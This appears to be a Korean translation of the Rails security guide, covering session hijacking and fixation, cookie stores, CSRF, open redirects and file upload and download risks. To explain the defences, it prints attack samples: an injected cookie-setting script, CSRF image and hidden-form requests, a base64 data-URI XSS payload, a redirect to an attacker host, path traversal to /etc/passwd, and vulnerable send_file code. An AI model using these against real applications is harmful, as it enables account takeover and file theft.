edge
더 많은 정보: rubyonrails.org에서 확인하세요: 더 많은 Ruby on Rails

Rails 애플리케이션 보안

이 매뉴얼은 웹 애플리케이션에서 발생하는 일반적인 보안 문제와 Rails를 사용하여 이러한 문제를 피하는 방법에 대해 설명합니다.

이 가이드를 읽은 후에는 다음을 알게 될 것입니다:

1 소개

웹 애플리케이션 프레임워크는 개발자가 웹 애플리케이션을 구축하는 데 도움을 주기 위해 만들어졌습니다. 그 중 일부는 웹 애플리케이션을 보안하는 데 도움이 되는 기능도 제공합니다. 사실, 한 프레임워크가 다른 프레임워크보다 더 안전하다는 것은 없습니다: 올바르게 사용한다면 많은 프레임워크로 안전한 앱을 구축할 수 있습니다. Ruby on Rails에는 SQL 인젝션에 대한 지능적인 도우미 메서드가 있으므로 이는 거의 문제가 되지 않습니다.

일반적으로 플러그 앤 플레이 보안이라는 것은 없습니다. 보안은 프레임워크를 사용하는 사람들에게 달려 있으며, 때로는 개발 방법에 따라 달라집니다. 그리고 웹 애플리케이션 환경의 모든 레이어에 달려 있습니다: 백엔드 저장소, 웹 서버, 그리고 웹 애플리케이션 자체(그리고 가능한 다른 레이어나 애플리케이션).

그러나 가트너 그룹은 75%의 공격이 웹 애플리케이션 레이어에서 발생하며, "300개의 감사된 사이트 중 97%가 공격에 취약하다"고 밝혔습니다. 이는 웹 애플리케이션이 비교적 쉽게 공격될 수 있기 때문입니다. 그들은 비전문가조차도 이해하고 조작하기 쉬운 것이기 때문입니다.

웹 애플리케이션에 대한 위협은 사용자 계정 탈취, 접근 제어 우회, 민감한 데이터 읽기 또는 수정, 사기 콘텐츠 제공 등이 포함됩니다. 또는 공격자는 트로이목마 프로그램이나 스팸 메일 송신 소프트웨어를 설치하거나, 금전적 이득을 위해 목표를 설정하거나, 회사 자원을 수정하여 브랜드 명칭 훼손을 일으킬 수도 있습니다. 공격을 방지하고 그 영향을 최소화하며 공격 지점을 제거하기 위해서는 먼저 올바른 대응책을 찾기 위해 공격 방법을 완전히 이해해야 합니다. 이 가이드는 이를 목표로 합니다.

보안 웹 애플리케이션을 개발하기 위해서는 모든 레이어에 대해 최신 정보를 유지하고 적대적인 요소를 알아야 합니다. 보안 메일링 리스트를 구독하고 보안 블로그를 읽으며 업데이트와 보안 점검을 습관으로 만들어야 합니다(추가 자료 참조). 이는 악성 논리적 보안 문제를 찾는 방법이기 때문에 수동으로 수행됩니다.

2 세션

이 장에서는 세션과 관련된 특정 공격과 세션 데이터를 보호하기 위한 보안 조치에 대해 설명합니다.

2.1 세션이란?

세션은 사용자가 애플리케이션과 상호 작용하는 동안 사용자별 상태를 유지할 수 있게 합니다. 예를 들어, 세션을 사용하면 사용자가 한 번 인증하고 나면 나중에 요청을 위해 로그인 상태를 유지할 수 있습니다.

대부분의 애플리케이션은 애플리케이션과 상호 작용하는 사용자의 상태를 추적해야 합니다. 이는 쇼핑 바구니의 내용이나 현재 로그인된 사용자의 사용자 ID일 수 있습니다. 이러한 사용자별 상태는 세션에 저장될 수 있습니다.

Rails는 애플리케이션에 접근하는 각 사용자에 대해 세션 객체를 제공합니다. 사용자가 이미 활성 세션을 가지고 있는 경우, Rails는 기존 세션을 사용합니다. 그렇지 않으면 새로운 세션을 생성합니다.

세션에 대해 자세히 알아보고 사용하는 방법은 Action Controller 개요 가이드를 참조하십시오.

2.2 세션 하이재킹

사용자의 세션 ID를 훔치면 공격자가 피해자의 이름으로 웹 애플리케이션을 사용할 수 있습니다.

많은 웹 애플리케이션은 인증 시스템을 갖고 있습니다: 사용자가 사용자 이름과 비밀번호를 제공하면, 웹 애플리케이션은 이를 확인하고 해당 사용자 ID를 세션 해시에 저장합니다. 이제부터 세션은 유효합니다. 모든 요청에서 애플리케이션은 세션에서 사용자 ID로 식별된 사용자를 로드하며, 새로운 인증이 필요하지 않습니다. 쿠키의 세션 ID가 세션을 식별합니다.

따라서 쿠키는 웹 애플리케이션에 대한 임시 인증 역할을 합니다. 다른 사람의 쿠키를 훔치면 해당 사용자로 웹 애플리케이션을 사용할 수 있으며, 이는 심각한 결과를 초래할 수 있습니다. 세션을 하이재킹하는 몇 가지 방법과 그에 대한 대응책은 다음과 같습니다: * 보안이 취약한 네트워크에서 쿠키를 스니핑합니다. 무선 LAN은 이러한 네트워크의 예입니다. 암호화되지 않은 무선 LAN에서는 모든 연결된 클라이언트의 트래픽을 감청하기가 특히 쉽습니다. 웹 애플리케이션 빌더에게는 SSL을 통한 안전한 연결을 제공해야 합니다. Rails 3.1 이상에서는 응용 프로그램 구성 파일에서 항상 SSL 연결을 강제로 설정하여 이를 달성할 수 있습니다:

```ruby
config.force_ssl = true
```
  • 대부분의 사람들은 공용 터미널에서 작업한 후에도 쿠키를 지우지 않습니다. 따라서 마지막 사용자가 웹 애플리케이션에서 로그아웃하지 않았다면, 당신은 해당 사용자로서 사용할 수 있습니다. 웹 애플리케이션에서 사용자에게 로그아웃 버튼을 제공하고 눈에 잘 띄게 만들어야 합니다.

  • 많은 크로스 사이트 스크립팅 (XSS) 공격은 사용자의 쿠키를 얻는 것을 목표로 합니다. XSS에 대해 더 읽어보세요.

  • 공격자는 알 수 없는 쿠키를 훔치는 대신, 사용자의 세션 식별자 (쿠키 내)를 고정시킵니다. 이를테면 세션 고정이라고 하는 것에 대해 나중에 자세히 알아보세요.

대부분의 공격자의 주요 목표는 돈을 벌이는 것입니다. 훔친 은행 로그인 계정의 지하 가격은 계정 잔액의 0.5% ~ 10%, 신용 카드 번호의 경우 $0.5 ~ $30 ($20 ~ $60의 경우 전체 세부 정보 포함), 신원 (이름, SSN 및 DOB)의 경우 $0.1 ~ $1.5, 소매업자 계정의 경우 $20 ~ $50, 클라우드 서비스 제공자 계정의 경우 $6 ~ $10입니다. Symantec 인터넷 보안 위협 보고서 (2017)에 따르면.

2.3 세션 저장소

참고: Rails는 기본 세션 저장소로 ActionDispatch::Session::CookieStore를 사용합니다.

팁: Action Controller 개요 가이드에서 다른 세션 저장소에 대해 더 알아보세요.

Rails CookieStore는 세션 해시를 클라이언트 측의 쿠키에 저장합니다. 서버는 세션 해시를 쿠키에서 검색하고 세션 ID의 필요성을 제거합니다. 이는 응용 프로그램의 속도를 크게 향상시킬 수 있지만, 이는 논란이 되는 저장소 옵션이며 보안 문제와 저장 공간 제한에 대해 생각해야 합니다:

  • 쿠키는 4 kB의 크기 제한이 있습니다. 세션에 관련된 데이터에만 쿠키를 사용하세요.

  • 쿠키는 클라이언트 측에 저장됩니다. 클라이언트는 만료된 쿠키에 대해서도 쿠키 내용을 보존할 수 있습니다. 클라이언트는 쿠키를 다른 기기로 복사할 수 있습니다. 쿠키에 민감한 데이터를 저장하지 마세요.

  • 쿠키는 본질적으로 일시적입니다. 서버는 쿠키의 만료 시간을 설정할 수 있지만, 클라이언트는 그 전에 쿠키와 그 내용을 삭제할 수 있습니다. 보다 영구적인 성격의 데이터는 서버 측에 지속적으로 저장하세요.

  • 세션 쿠키는 자동으로 무효화되지 않으며 악용될 수 있습니다. 응용 프로그램에서는 저장된 타임스탬프를 사용하여 이전 세션 쿠키를 무효화하는 것이 좋을 수 있습니다.

  • Rails는 기본적으로 쿠키를 암호화합니다. 클라이언트는 암호화를 깨지 않고 쿠키의 내용을 읽거나 편집할 수 없습니다. 비밀을 적절히 관리한다면 쿠키를 일반적으로 안전하게 간주할 수 있습니다.

CookieStore암호화된 쿠키 자를 사용하여 세션 데이터를 안전하고 암호화된 위치에 저장합니다. 따라서 쿠키 기반 세션은 내용의 무결성과 기밀성을 모두 제공합니다. 암호화 키와 서명된 쿠키에 사용되는 검증 키는 secret_key_base 구성 값에서 파생됩니다.

팁: 비밀은 길고 무작위여야 합니다. 새로운 고유한 비밀을 얻으려면 bin/rails secret를 사용하세요.

정보: 이 가이드에서 나중에 자격 증명 관리에 대해 더 알아보세요.

또한 암호화된 및 서명된 쿠키에 대해 다른 솔트 값을 사용하는 것도 중요합니다. 다른 솔트 구성 값에 동일한 값을 사용하면 동일한 파생 키가 다른 보안 기능에 사용될 수 있으며, 이는 키의 강도를 약화시킬 수 있습니다.

테스트 및 개발 응용 프로그램에서는 앱 이름에서 파생된 secret_key_base를 얻습니다. 다른 환경에서는 config/credentials.yml.enc에 있는 암호화 해제된 상태의 무작위 키를 사용해야 합니다:

secret_key_base: 492f...

경고: 응용 프로그램의 비밀이 노출될 수 있는 경우, 변경하는 것을 강력히 고려하세요. secret_key_base를 변경하면 현재 활성 세션이 만료되고 모든 사용자가 다시 로그인해야 합니다. 세션 데이터뿐만 아니라 암호화된 쿠키, 서명된 쿠키 및 Active Storage 파일도 영향을 받을 수 있습니다.

2.4 암호화 및 서명된 쿠키 구성 회전

회전은 쿠키 구성을 변경하고 이전 쿠키가 즉시 무효화되지 않도록 하는 데 이상적입니다. 그러면 사용자는 사이트를 방문하여 이전 구성으로 쿠키를 읽고 새 변경 사항으로 다시 작성할 기회를 갖게 됩니다. 회전은 사용자가 쿠키를 업그레이드할 기회를 충분히 갖은 후에 제거할 수 있습니다. 암호화된 및 서명된 쿠키에 사용되는 암호 및 다이제스트를 회전시킬 수 있습니다.

예를 들어, 서명된 쿠키에 사용되는 다이제스트를 SHA1에서 SHA256으로 변경하려면 다음과 같이 새로운 구성 값을 할당합니다.

Rails.application.config.action_dispatch.signed_cookie_digest = "SHA256"

이제 이전 SHA1 다이제스트에 대한 회전을 추가하여 기존 쿠키가 새로운 SHA256 다이제스트로 원활하게 업그레이드됩니다.

Rails.application.config.action_dispatch.cookies_rotations.tap do |cookies|
  cookies.rotate :signed, digest: "SHA1"
end

그러면 서명된 쿠키가 SHA256으로 다이제스트됩니다. SHA1로 작성된 이전 쿠키는 여전히 읽을 수 있으며, 액세스하면 새로운 다이제스트로 작성되어 업그레이드되어 회전을 제거할 때 무효화되지 않습니다.

SHA1 다이제스트로 서명된 쿠키를 사용하는 사용자가 더 이상 쿠키를 다시 작성할 수 없도록 되었을 때 회전을 제거하십시오.

원하는 만큼 많은 회전을 설정할 수 있지만, 한 번에 많은 회전을 사용하는 것은 흔하지 않습니다.

암호화된 및 서명된 메시지에 대한 키 회전 및 rotate 메서드가 수락하는 다양한 옵션에 대한 자세한 내용은 MessageEncryptor APIMessageVerifier API 문서를 참조하십시오.

2.5 쿠키 저장소 세션에 대한 재생 공격

팁: CookieStore를 사용할 때 알아야 할 다른 유형의 공격은 재생 공격입니다.

이것은 다음과 같이 작동합니다.

  • 사용자가 크레딧을 받습니다. 이 금액은 세션에 저장됩니다(이는 어쨌든 좋은 아이디어가 아닙니다만, 이를 설명하기 위해 이렇게 할 것입니다).
  • 사용자가 무언가를 구매합니다.
  • 새로 조정된 크레딧 값이 세션에 저장됩니다.
  • 사용자는 브라우저에서 현재 쿠키를 대체하기 위해 첫 번째 단계에서 쿠키를 가져옵니다(이전에 복사한 것).
  • 사용자는 원래의 크레딧을 다시 얻습니다.

세션에 무작위 값을 나타내는 nonce(한 번만 유효한 값)를 포함하면 재생 공격이 해결됩니다. 서버는 모든 유효한 nonce를 추적해야 합니다. 여러 개의 응용 프로그램 서버가 있는 경우 더 복잡해집니다. 데이터베이스 테이블에 nonce를 저장하는 것은 데이터베이스에 액세스하지 않는 CookieStore의 전체 목적을 상실시킬 것입니다.

가장 좋은 해결책은 이러한 유형의 데이터를 세션에 저장하지 않고 데이터베이스에 저장하는 것입니다. 이 경우 크레딧을 데이터베이스에 저장하고 세션에 logged_in_user_id를 저장하십시오.

2.6 세션 고정

참고: 사용자의 세션 ID를 도용하는 것 외에도, 공격자는 알고 있는 세션 ID를 고정시킬 수 있습니다. 이를 세션 고정이라고 합니다.

세션 고정

이 공격은 공격자가 알고 있는 사용자의 세션 ID를 고정시키고 사용자의 브라우저를 이 ID를 사용하도록 강제하는 것에 초점을 맞춥니다. 따라서 공격자는 세션 ID를 후에 도용할 필요가 없습니다. 이 공격은 다음과 같이 작동합니다.

  • 공격자는 유효한 세션 ID를 생성합니다. 공격하려는 웹 응용 프로그램의 로그인 페이지를 로드하고 응답에서 쿠키의 세션 ID를 가져옵니다(이미지의 번호 1과 2 참조).
  • 공격자는 세션을 유지하기 위해 정기적으로 웹 응용 프로그램에 액세스하여 만료되기 전에 세션을 유지합니다.
  • 공격자는 사용자의 브라우저를 이 세션 ID를 사용하도록 강제합니다(이미지의 번호 3 참조). 동일 출처 정책 때문에 다른 도메인의 쿠키를 변경할 수 없으므로, 공격자는 대상 웹 응용 프로그램의 도메인에서 JavaScript를 실행해야 합니다. XSS를 통해 응용 프로그램에 JavaScript 코드를 삽입하여 이 공격을 수행할 수 있습니다. 다음은 예입니다: <script>document.cookie="_session_id=16d5b78abb28e3d6206b60f22a03c8d9";</script>. XSS 및 삽입에 대해 나중에 자세히 알아보십시오.
  • 공격자는 JavaScript 코드가 포함된 감염된 페이지로 피해자를 유인합니다. 페이지를 보면 피해자의 브라우저가 함정 세션 ID로 세션 ID를 변경합니다.
  • 새로운 함정 세션이 사용되지 않았으므로 웹 응용 프로그램은 사용자 인증을 요구합니다.
  • 이제부터 피해자와 공격자는 동일한 세션을 사용하여 웹 응용 프로그램을 공유합니다. 세션이 유효해지고 피해자는 공격을 알아채지 못했습니다.

2.7 세션 고정 - 대응 방안

팁: 한 줄의 코드로 세션 고정으로부터 보호받을 수 있습니다.

가장 효과적인 대응 방안은 새로운 세션 식별자를 발급하고 성공적인 로그인 후 이전 식별자를 무효화하는 것입니다. 이렇게 하면 고정된 세션 식별자를 사용하는 공격자가 사용할 수 없습니다. 이는 세션 하이재킹에 대한 좋은 대응 방안입니다. Rails에서 새로운 세션을 생성하는 방법은 다음과 같습니다. ruby reset_session

인기있는 Devise 젬을 사용하면 사용자 관리를 자동으로 처리하여 로그인 및 로그아웃 시 세션을 자동으로 만료시킵니다. 직접 구현하는 경우 로그인 액션 이후 세션을 만료시키는 것을 기억해야 합니다. 이렇게 하면 세션에서 값이 제거되므로 새 세션으로 이전해야 합니다.

다른 대책으로는 세션에 사용자별 속성을 저장하고 요청이 들어올 때마다 해당 정보를 확인하고 일치하지 않으면 액세스를 거부하는 것입니다. 이러한 속성은 원격 IP 주소나 사용자 에이전트(웹 브라우저 이름)일 수 있으며, 후자는 사용자별로 덜 구체적입니다. IP 주소를 저장할 때는 세션 동안 변경될 수 있는 인터넷 서비스 제공자나 대규모 조직이 사용자를 프록시 뒤에 배치하는 경우를 염두에 두어야 합니다. 이러한 사용자는 애플리케이션을 사용할 수 없거나 제한적으로만 사용할 수 있습니다.

2.8 세션 만료

참고: 만료되지 않는 세션은 사이트 간 요청 위조(CSRF), 세션 하이재킹 및 세션 고정과 같은 공격에 대한 시간 범위를 확장합니다.

세션 ID와 함께 쿠키의 만료 시간을 설정하는 것이 가능합니다. 그러나 클라이언트는 웹 브라우저에 저장된 쿠키를 편집할 수 있으므로 서버에서 세션을 만료시키는 것이 더 안전합니다. 다음은 데이터베이스 테이블에서 세션을 만료시키는 예입니다. Session.sweep(20.minutes)를 호출하여 20분 전에 사용된 세션을 만료시킵니다.

class Session < ApplicationRecord
  def self.sweep(time = 1.hour)
    where(updated_at: ...time.ago).delete_all
  end
end

세션 고정에 대한 섹션에서는 유지된 세션의 문제를 소개했습니다. 5분마다 세션을 유지하는 공격자는 세션을 영원히 유지할 수 있습니다. 이에도 불구하고 세션을 만료시키고 있습니다. 이 문제에 대한 간단한 해결책은 세션 테이블에 created_at 열을 추가하는 것입니다. 이제 오랜 시간 전에 생성된 세션을 삭제할 수 있습니다. 위의 sweep 메소드에 다음 줄을 사용하세요.

where(updated_at: ...time.ago).or(where(created_at: ...2.days.ago)).delete_all

3 사이트 간 요청 위조(CSRF)

이 공격 방법은 사용자가 인증된 것으로 믿어지는 웹 애플리케이션에 악성 코드나 링크를 포함하는 페이지를 포함하여 작동합니다. 웹 애플리케이션의 세션이 만료되지 않은 경우 공격자는 무단 명령을 실행할 수 있습니다.

사이트 간 요청 위조

세션 섹션에서 대부분의 Rails 애플리케이션이 쿠키 기반 세션을 사용하는 것을 알게 되었습니다. 세션 ID를 쿠키에 저장하고 서버 측 세션 해시를 가지거나 전체 세션 해시가 클라이언트 측에 있는 경우 모두 브라우저는 도메인에 대한 요청마다 자동으로 쿠키를 전송합니다. 요청이 다른 도메인의 사이트에서 온 경우에도 쿠키가 전송됩니다. 예를 들어 설명하겠습니다.

  • Bob은 메시지 게시판을 탐색하고 해커가 작성한 게시물을 보게 됩니다. 게시물에는 이미지 파일이 아닌 Bob의 프로젝트 관리 애플리케이션의 명령이 포함된 조작된 HTML 이미지 요소가 있습니다: <img src="http://www.webapp.com/project/1/destroy">
  • Bob의 www.webapp.com에서의 세션이 여전히 유지되고 있습니다. 몇 분 전에 로그아웃하지 않았기 때문입니다.
  • 게시물을 보면 브라우저는 이미지 태그를 찾습니다. www.webapp.com에서 의심스러운 이미지를 로드하려고 시도합니다. 앞에서 설명한대로 유효한 세션 ID가 있는 쿠키도 함께 전송됩니다.
  • www.webapp.com의 웹 애플리케이션은 해당 세션 해시에서 사용자 정보를 확인하고 ID가 1인 프로젝트를 삭제합니다. 그런 다음 브라우저에게 예상치 못한 결과 페이지를 반환하므로 이미지를 표시하지 않습니다.
  • Bob은 이 공격을 알아차리지 못하지만 며칠 후에 1번 프로젝트가 사라진 것을 알게 됩니다.

실제로 조작된 이미지나 링크는 웹 애플리케이션의 도메인에 위치할 필요가 없으며, 포럼, 블로그 게시물 또는 이메일 어디에나 있을 수 있습니다.

CVE(Common Vulnerabilities and Exposures)에서 CSRF는 매우 드물게 발생합니다(2006년 기준으로 0.1% 미만). 하지만 실제로는 '잠자는 거인'입니다[Grossman]. 이는 많은 보안 계약 작업의 결과와는 대조적입니다. CSRF는 중요한 보안 문제입니다.

3.1 CSRF 대책

참고: 먼저, W3C에서 요구하는 대로 GET과 POST를 적절하게 사용하십시오. 또한, GET이 아닌 요청에 대한 보안 토큰은 CSRF로부터 응용 프로그램을 보호할 것입니다.

3.1.1 GET과 POST를 적절하게 사용하십시오

HTTP 프로토콜은 기본적으로 두 가지 주요 유형의 요청을 제공합니다 - GET과 POST (DELETE, PUT 및 PATCH는 POST와 같은 방식으로 사용해야 함). World Wide Web Consortium (W3C)는 HTTP GET 또는 POST를 선택하기 위한 체크리스트를 제공합니다:

GET을 사용하십시오.

  • 상호 작용이 질문과 유사한 경우 (예: 쿼리, 읽기 작업 또는 조회와 같은 안전한 작업).

POST를 사용하십시오.

  • 상호 작용이 주문과 유사한 경우 또는
  • 상호 작용이 사용자가 결과에 대해 책임을 져야 하는 방식으로 리소스의 상태를 변경하는 경우 (예: 서비스에 대한 구독) 또는
  • 사용자가 상호 작용의 결과에 대해 책임을 져야 하는 경우.

웹 애플리케이션이 RESTful하다면 PATCH, PUT 또는 DELETE와 같은 추가적인 HTTP 동사를 사용하는 것이 일반적입니다. 그러나 일부 레거시 웹 브라우저는 이러한 동사를 지원하지 않습니다 - GET과 POST만 지원합니다. Rails는 이러한 경우를 처리하기 위해 숨겨진 _method 필드를 사용합니다.

POST 요청도 자동으로 전송될 수 있습니다. 이 예제에서는 브라우저의 상태 표시줄에 대상으로 harmless.com 링크가 표시됩니다. 그러나 실제로는 동적으로 새로운 폼을 생성하여 POST 요청을 보냅니다.

<a href="http://www.harmless.com/" onclick="
  var f = document.createElement('form');
  f.style.display = 'none';
  this.parentNode.appendChild(f);
  f.method = 'POST';
  f.action = 'http://www.example.com/account/destroy';
  f.submit();
  return false;">To the harmless survey</a>

또는 공격자가 이미지의 onmouseover 이벤트 핸들러에 코드를 넣을 수도 있습니다:

<img src="http://www.harmless.com/img" width="400" height="400" onmouseover="..." />

이 외에도 JSONP 또는 JavaScript 응답이 있는 URL로 크로스 사이트 요청을 만들기 위해 <script> 태그를 사용하는 등 다른 여러 가능성이 있습니다. 응답은 공격자가 실행할 수 있는 실행 가능한 코드이며, 민감한 데이터를 추출할 수도 있습니다. 이 데이터 유출을 방지하기 위해 크로스 사이트 <script> 태그를 허용하지 않아야 합니다. 그러나 Ajax 요청은 브라우저의 동일 출처 정책을 따르므로 (XmlHttpRequest를 시작할 수 있는 것은 자신의 사이트뿐입니다) JavaScript 응답을 반환하는 것을 안전하게 허용할 수 있습니다.

참고: <script> 태그의 출처(자체 사이트의 태그인지 악성 사이트의 태그인지)를 구별할 수 없으므로, 실제로 자체 사이트에서 제공되는 안전한 동일 출처 스크립트인 경우에도 모든 <script>를 차단해야 합니다. 이러한 경우에는 <script> 태그에 대한 CSRF 보호를 명시적으로 건너뛰어야 합니다.

3.1.2 필수 보안 토큰

다른 조작된 요청에 대한 보호를 위해, 사이트가 알고 있지만 다른 사이트는 알지 못하는 필수 보안 토큰을 도입합니다. 보안 토큰을 요청에 포함시키고 서버에서 확인합니다. 이는 config.action_controller.default_protect_from_forgerytrue로 설정된 경우에 자동으로 수행됩니다. 이는 새로 생성된 Rails 애플리케이션의 기본값입니다. 수동으로 수행하려면 다음을 애플리케이션 컨트롤러에 추가하십시오:

protect_from_forgery with: :exception

이렇게 하면 Rails에서 생성하는 모든 폼에 보안 토큰이 포함됩니다. 보안 토큰이 예상과 일치하지 않으면 예외가 발생합니다.

Turbo를 사용하여 양식을 제출하는 경우에도 보안 토큰이 필요합니다. Turbo는 애플리케이션 레이아웃의 csrf 메타 태그에서 토큰을 찾아 X-CSRF-Token 요청 헤더에 추가합니다. 이러한 메타 태그는 csrf_meta_tags 도우미 메서드로 생성됩니다:

<head>
  <%= csrf_meta_tags %>
</head>

다음과 같이 결과가 나타납니다:

<head>
  <meta name="csrf-param" content="authenticity_token" />
  <meta name="csrf-token" content="THE-TOKEN" />
</head>

JavaScript에서 직접 만든 GET이 아닌 요청을 보낼 때도 보안 토큰이 필요합니다. Rails Request.JS는 필요한 요청 헤더를 추가하는 로직을 캡슐화하는 JavaScript 라이브러리입니다.

Ajax 호출을 위해 다른 라이브러리를 사용하는 경우, 보안 토큰을 기본 헤더로 직접 추가해야 합니다. 메타 태그에서 토큰을 가져오려면 다음과 같이 할 수 있습니다:

document.head.querySelector("meta[name=csrf-token]")?.content

3.1.3 영구적인 쿠키 삭제

일반적으로 영구적인 쿠키를 사용하여 사용자 정보를 저장하는 것이 일반적입니다. 예를 들어 cookies.permanent를 사용합니다. 이 경우, 쿠키는 지워지지 않으며 기본 CSRF 보호가 효과가 없을 것입니다. 이 정보를 위해 세션 이외의 다른 쿠키 저장소를 사용하는 경우, 해당 쿠키를 처리해야 합니다. ```ruby ActionController::InvalidAuthenticityToken에 대한 rescue_from 메소드는 다음과 같이 작성될 수 있습니다.

rescue_from ActionController::InvalidAuthenticityToken do |exception| sign_out_user # 사용자 쿠키를 삭제하는 예제 메소드 end ```

위의 메소드는 ApplicationController에 위치시킬 수 있으며, CSRF 토큰이 없거나 잘못된 경우에 비-GET 요청이 발생할 때 호출됩니다.

참고로, 크로스 사이트 스크립팅(XSS) 취약점은 모든 CSRF 보호를 우회합니다. XSS는 공격자에게 페이지의 모든 요소에 대한 액세스 권한을 부여하므로, 공격자는 폼에서 CSRF 보안 토큰을 읽거나 폼을 직접 제출할 수 있습니다. XSS에 대해 더 알아보기를 참조하세요.

4 리다이렉션과 파일

웹 애플리케이션에서 리다이렉션과 파일 사용과 관련된 보안 취약점도 있습니다.

4.1 리다이렉션

경고: 웹 애플리케이션에서의 리다이렉션은 과소평가된 크래커 도구입니다: 공격자는 사용자를 함정 웹 사이트로 이동시킬 수 있을 뿐만 아니라, 자체 포함된 공격을 생성할 수도 있습니다.

사용자가 리다이렉션을 위해 URL의 일부를 전달할 수 있는 경우, 취약할 수 있습니다. 가장 명백한 공격은 사용자를 원본과 완전히 동일한 가짜 웹 애플리케이션으로 리다이렉트하는 것입니다. 이러한 피싱 공격은 사용자에게 이메일로 의심스럽지 않은 링크를 보내거나 웹 애플리케이션에 XSS를 삽입하거나 외부 사이트에 링크를 넣음으로써 작동합니다. 이 링크는 웹 애플리케이션의 URL로 시작하고 악성 사이트의 URL이 리다이렉션 매개변수에 숨겨져 있기 때문에 의심스럽지 않습니다: http://www.example.com/site/redirect?to=www.attacker.com. 다음은 레거시 액션의 예입니다:

def legacy
  redirect_to(params.update(action: 'main'))
end

이 코드는 사용자가 레거시 액션에 접근하려고 시도한 경우 사용자를 main 액션으로 리다이렉트합니다. 이 코드는 레거시 액션에 대한 URL 매개변수를 보존하고 main 액션으로 전달하기 위한 것이었지만, 공격자가 URL에 호스트 키를 포함시킨 경우 악용될 수 있습니다:

http://www.example.com/site/legacy?param1=xy&param2=23&host=www.attacker.com

URL의 끝에 위치하면 거의 알아채지 못하고 사용자를 attacker.com 호스트로 리다이렉트합니다. 일반적인 규칙으로, 사용자 입력을 redirect_to에 직접 전달하는 것은 위험하다고 간주됩니다. 간단한 대책은 레거시 액션에서 예상되는 매개변수만 포함하는 것입니다(예기치 않은 매개변수를 제거하는 대신 허용 목록 접근 방식을 사용합니다). URL로 리다이렉트할 경우, 허용 목록이나 정규 표현식으로 확인하는 것이 좋습니다.

4.1.1 자체 포함된 XSS

Firefox와 Opera에서는 데이터 프로토콜을 사용하여 리다이렉션 및 자체 포함된 XSS 공격이 가능합니다. 이 프로토콜은 내용을 브라우저에서 직접 표시하며, HTML이나 JavaScript부터 전체 이미지까지 가능합니다:

data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K

이 예제는 간단한 메시지 상자를 표시하는 Base64로 인코딩된 JavaScript입니다. 리다이렉션 URL에서 공격자는 악성 코드가 포함된 이 URL로 리다이렉트할 수 있습니다. 대책으로는, 사용자가 리다이렉트될 URL(일부 또는 전체)을 제공하지 않도록 해야 합니다.

4.2 파일 업로드

주의: 파일 업로드가 중요한 파일을 덮어쓰지 않도록하고, 미디어 파일을 비동기적으로 처리하세요.

많은 웹 애플리케이션에서는 사용자가 파일을 업로드할 수 있도록 합니다. 사용자가 선택할 수 있는 파일 이름은 항상 필터링되어야 합니다. 공격자는 악성 파일 이름을 사용하여 서버의 모든 파일을 덮어쓸 수 있기 때문입니다. 파일 업로드를 /var/www/uploads에 저장하고 사용자가 "../../../etc/passwd"와 같은 파일 이름을 입력하면 중요한 파일을 덮어쓸 수 있습니다. 물론, Ruby 인터프리터는 그렇게 하기 위해 적절한 권한이 필요합니다 - 웹 서버, 데이터베이스 서버 및 기타 프로그램을 덜 권한이 있는 Unix 사용자로 실행하는 또 다른 이유입니다.

사용자 입력 파일 이름을 필터링할 때는 악성 부분을 제거하려고 하지 마세요. 웹 애플리케이션이 파일 이름에서 "../"를 모두 제거하고 공격자가 "....//"과 같은 문자열을 사용하는 상황을 상상해보세요 - 결과는 "../"가 될 것입니다. 허용 목록 접근 방식을 사용하는 것이 가장 좋습니다. 이는 수락된 문자 집합으로 파일 이름의 유효성을 확인합니다. 이는 허용되지 않는 문자를 제거하려고 시도하는 제한된 목록 접근 방식과는 다릅니다. 유효한 파일 이름이 아닌 경우, 거부하거나 (또는 허용되지 않은 문자를 대체하고) 제거하지 마세요. 다음은 attachment_fu 플러그인의 파일 이름 정리기 예시입니다:

def sanitize_filename(filename)
  filename.strip.tap do |name|
    # 참고: File.basename은 Unix에서 Windows 경로와 함께 제대로 작동하지 않습니다.
    # 전체 경로가 아닌 파일 이름만 가져옵니다.
    name.sub!(/\A.*(\\|\/)/, '')
    # 마지막으로, 모든 영숫자, 밑줄 또는 점을 밑줄로 대체합니다.
    name.gsub!(/[^\w.-]/, '_')
  end
end

동기식 파일 업로드 처리의 중요한 단점은 (attachment_fu 플러그인이 이미지와 함께 수행할 수 있는 것처럼) 서비스 거부 공격에 취약하다는 것입니다. 공격자는 여러 컴퓨터에서 동기식으로 이미지 파일 업로드를 시작할 수 있으며, 이는 서버 부하를 증가시키고 서버를 마침내 충돌하거나 정지시킬 수 있습니다.

이를 해결하기 위한 가장 좋은 방법은 미디어 파일을 비동기적으로 처리하는 것입니다. 미디어 파일을 저장하고 데이터베이스에 처리 요청을 예약합니다. 두 번째 프로세스는 파일의 처리를 백그라운드에서 처리합니다.

4.3 파일 업로드에서 실행 가능한 코드

경고: 특정 디렉토리에 업로드된 파일의 소스 코드는 특정 디렉토리에 배치될 때 실행될 수 있습니다. Apache의 홈 디렉토리인 경우 Rails의 /public 디렉토리에 파일 업로드를 배치하지 마십시오.

인기 있는 Apache 웹 서버에는 DocumentRoot라는 옵션이 있습니다. 이는 웹 사이트의 홈 디렉토리이며, 이 디렉토리 트리의 모든 것은 웹 서버에 의해 제공됩니다. 특정 파일 이름 확장자를 가진 파일이 있는 경우, 요청시에 그 안에 있는 코드가 실행됩니다 (일부 옵션 설정이 필요할 수 있음). 이에 대한 예로 PHP 및 CGI 파일이 있습니다. 이제 공격자가 파일 "file.cgi"를 코드와 함께 업로드하고, 누군가 파일을 다운로드할 때 실행되도록 할 수 있는 상황을 생각해보십시오.

만약 Apache DocumentRoot가 Rails의 /public 디렉토리를 가리키고 있다면, 파일 업로드를 그 안에 넣지 마십시오. 파일을 적어도 한 단계 위로 저장하십시오.

4.4 파일 다운로드

참고: 사용자가 임의의 파일을 다운로드할 수 없도록 해야 합니다.

업로드할 때 파일 이름을 필터링해야 하는 것처럼, 다운로드할 때도 필터링해야 합니다. send_file() 메소드는 서버에서 클라이언트로 파일을 전송합니다. 사용자가 입력한 파일 이름을 필터링하지 않고 사용하는 경우, 임의의 파일을 다운로드할 수 있습니다:

send_file('/var/www/uploads/' + params[:filename])

단순히 "../../../etc/passwd"와 같은 파일 이름을 전달하여 서버의 로그인 정보를 다운로드할 수 있습니다. 이를 방지하기 위한 간단한 해결책은 요청된 파일이 예상한 디렉토리에 있는지 확인하는 것입니다:

basename = File.expand_path('../../files', __dir__)
filename = File.expand_path(File.join(basename, @file.public_filename))
raise if basename != File.expand_path(File.dirname(filename))
